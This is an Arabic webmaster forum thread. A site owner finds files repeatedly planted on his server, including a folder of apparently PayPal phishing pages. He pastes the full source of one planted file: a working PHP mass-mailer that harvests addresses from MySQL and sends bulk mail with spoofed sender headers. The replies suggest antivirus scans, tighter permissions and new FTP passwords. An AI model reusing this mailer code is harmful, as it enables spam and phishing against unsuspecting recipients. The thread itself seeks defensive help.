النتائج 1 إلى 9 من 9

الموضوع: هناك من يحمل ملفات الى موقعي كيف اوقف ذلك

  1. #1

    هناك من يحمل ملفات الى موقعي كيف اوقف ذلك



    الاخوة الكرام

    مشكلتي غريبة جدا

    كلما غبت يوم أو ليلة عن موقعي أجد فيه ملفات تم تحميلها الى الدليل الرئيسي في الموقع وهي عبارة عن ملفين ومجلد
    الملفان الاول اسمه : m.php
    والثاني اسمه : x.php.

    أما المجلد فاسمه : online
    الغريب أني فتحت المجلد ووجدت فيه ملفات غريبة وكثيرة وفيها كلمة paypal وبعض الملفات بهذا الاسم

    وقمت بحذفها
    وبعد ربع ساعة عادت وقمت بحذفها وهكذا دواليك

    كيف استطاع أحد تحميل هذه الملفات الى موقعي قمت بحذف كل ملفات موقعي ولم اترك فيه شي
    والان وجدت ان الملفان والمجلد قد عادا

    الملف m.php يحتوي التالي
    كود PHP:
    <?








    If ($action=="mysql"){





        
    #Grab email addresses de MySQL





        
    include "../mysql.info.php";





        if (!
    $sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){





        print 
    "Porfavor configure su mysql.info.php en tu MySQL informacion. Todas las opciones requeridas.";





        exit;





        }





        
    $db mysql_connect($sqlhost$sqllogin$sqlpass) or die("Conexion en MySQL Fallida.");





        
    mysql_select_db($sqldb$db) or die("Seleecione su DataBase $sqldb");





        
    $result mysql_query($sqlquery) or die("Secion fallida: $sqlquery");





        
    $numrows mysql_num_rows($result);











        for(
    $x=0$x<$numrows$x++){





        
    $result_row mysql_fetch_row($result);





        
    $oneemail $result_row[0];





        
    $emaillist .= $oneemail."\n";





        }





        }











    if (
    $action=="send"){





        
    $message urlencode($message);





        
    $message ereg_replace("%5C%22""%22"$message);





        
    $message urldecode($message);


        
    $message stripslashes($message);


        
    $subject stripslashes($subject);





    }











    ?>





    <form name="form1" method="post" action="" enctype="multipart/form-data">





      <br>





      <table width="100%" border="0">





        <tr>





          <td width="10%">





            <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your





              Mail:</font></div>





          </td>





          <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">





            <input type="text" name="from" value="<? print $from?>" size="30">





            </font></td>





          <td width="31%">





            <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your





              Name:</font></div>





          </td>





          <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">





            <input type="text" name="realname" value="<? print $realname?>" size="30">





            </font></td>





        </tr>





        <tr>





          <td width="10%">





            <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Repit:</font></div>





          </td>





          <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">





            <input type="text" name="replyto" value="<? print $replyto?>" size="30">





            </font></td>





          <td width="31%">





            <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Upload





              Txt:</font></div>





          </td>





          <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">





            <input type="file" name="file" size="30">





            </font></td>





        </tr>





        <tr>





          <td width="10%">





            <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>





          </td>





          <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">





            <input type="text" name="subject" value="<? print $subject?>" size="90">





            </font></td>





        </tr>





        <tr valign="top">





          <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">





            <textarea name="message" cols="60" rows="10"><? print $message?></textarea>





            <br>





            <input type="radio" name="contenttype" value="plain">





            Plain





            <input type="radio" name="contenttype" value="html" checked>





            HTML





            <input type="hidden" name="action" value="send">





            <input type="submit" value="Send Emails">





            </font></td>





          <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">





            <textarea name="emaillist" cols="30" rows="10"><? print $emaillist?></textarea>





            </font></td>





        </tr>





      </table>





    </form>











    <?





    if ($action=="send"){











        if (!
    $from && !$subject && !$message && !$emaillist){





        print 
    "Porfavor complete todo lo necesario.";





        exit;





        }











        
    $allemails split("\n"$emaillist);





        
    $numemails count($allemails);











        
    #Open the file attachment if any, and base64_encode it for email transport





        
    If ($file_name){





            @
    copy($file"./$file_name") or die("El archivo que intestaste subir al servidor, no puede ser copiado");





            
    $content fread(fopen($file,"r"),filesize($file));





            
    $content chunk_split(base64_encode($content));





            
    $uid strtoupper(md5(uniqid(time())));





            
    $name basename($file);





        }











        for(
    $x=0$x<$numemails$x++){





            
    $to $allemails[$x];





            if (
    $to){





            
    $to ereg_replace(" """$to);





            
    $message ereg_replace("&email&"$to$message);





            
    $subject ereg_replace("&email&"$to$subject);





            print 
    "Sending mail to $to.......";





            
    flush();





            
    $header "From: $realname <$from>\r\nReply-To: $replyto\r\n";





            
    $header .= "(anti-spam-(anti-spam-(anti-spam-mime-version:))) 1.0\r\n";





            If (
    $file_name$header .= "(anti-spam-(anti-spam-(anti-spam-content-type:))) (anti-spam-(anti-spam-(anti-spam-multipart/mixed))); boundary=$uid\r\n";





            If (
    $file_name$header .= "--$uid\r\n";





            
    $header .= "(anti-spam-(anti-spam-(anti-spam-content-type:))) text/$contenttype\r\n";





            
    $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";





            
    $header .= "$message\r\n";





            If (
    $file_name$header .= "--$uid\r\n";





            If (
    $file_name$header .= "(anti-spam-(anti-spam-(anti-spam-content-type:))) $file_type; name=\"$file_name\"\r\n";





            If (
    $file_name$header .= "Content-Transfer-Encoding: base64\r\n";





            If (
    $file_name$header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";





            If (
    $file_name$header .= "$content\r\n";





            If (
    $file_name$header .= "--$uid--";





            
    mail($to$subject""$header);





            print 
    "ok<br>";





            
    flush();





            }





            }











    }





    ?>


    <p align="center"><b>Hosted by XGnDX </b></p>
    أما الملف الثاني فلا أستطيع تحميله الى جهازي حاولت ولكن لم استطع
    الملجدonline يوجد فيه مجلد آخر اسمه :www.paypal.com

    أرجوكم ساعدوني كيف أمنع من يقوم بتحميل هذه الملفات الى موقعي
    ليس في موقعي اي سكربت تحميل ولا أي شي قمت بحذف كل شي ومع ذلك تعود هذه الملفات كلما حذفتها





    __________________
    المسابقة الثقافية الكبرى
    http://www.umsyah.com


  2. #2


    وينكم يا أخوان





    __________________
    المسابقة الثقافية الكبرى
    http://www.umsyah.com

  3. #3
    عضو سوبر نشيط
    تاريخ التسجيل
    May 2007
    المشاركات
    948


    والله مدري يالغالي لاكن بسئلك هل يوجد لديك مركز تحميل ملفات ؟





    __________________
    نصيحة اخوية لاتاخذ استضافة عربية لو مجانا

  4. #4


    لا ياأخي لايوجد لي مركز تحميل ملفات

    يا أخي قمت بحذف كل صفحات موقعي

    ولا فائدة

    كل ساعة أجد انه تم تحميل تلك الملفات والمجلد اللعين





    __________________
    المسابقة الثقافية الكبرى
    http://www.umsyah.com

  5. #5
    عضو فعال جدا
    تاريخ التسجيل
    May 2007
    المشاركات
    2,455


    يا شيخ هذي المشكلة حصلت معاي بالضبط والحل :

    احذف برنامج الفيروسات اللي بجهازك وحمل برنامج نورتن اتي فايروس الجديد 2007 او 2008 وصدقني راح تنحل مشكلتك لأنه هذا تورجان..

    ارجو الانتباه






  6. #6


    هل المجلد يحمل الترخيص 777

    واذا يحمل الترخيص 777 غيره ل 755 أو 111 وحين تحويلة للترخيص 111 لن تستطيع مشاهدة الفولدر غير من السي بنل





    __________________
    ( اللهم إنك عفوٌ كريمٌ تحب العفو فاعف عني )
    php Developer
    Short - Unshort Url | Moslsly.com



  7. ونصيحه غير باسورد لوحه التحكم وباسور حساب ال ftp






  8. #8
    Banned
    تاريخ التسجيل
    Aug 2007
    المشاركات
    284


    ونصيحه غير باسورد لوحه التحكم وباسور حساب ال ftp
    كان عندى مشكلة ايضاً فى كود يتم اضافته إلى صفحة الاندكس يحمل تروجان عند التصفح وكلما حذفته عاد مرة أخرى وبعد تغيير باسورد ال FTP انتهت المشكلة و الأفضل إزالة حساب ال FTP نهائياً و إنشاء حساب جديد.
    إذا لم تنتهى المشكلة راسل الدعم الفنى لاستضافتك.






  9. #9


    حمل برنامج Nod32

    وابحث عن التورجان واحدفوا

    وحاول مرة تانية











ضوابط المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •  

أضف موقعك هنا| اخبار السيارات | حراج | شقق للايجار في الكويت | بيوت للبيع في الكويت | دليل الكويت العقاري | مقروء | شركة كشف تسربات المياه | شركة عزل اسطح بالرياض | عزل فوم بالرياض| عزل اسطح بالرياض | كشف تسربات المياة بالرياض | شركة عزل اسطح بالرياض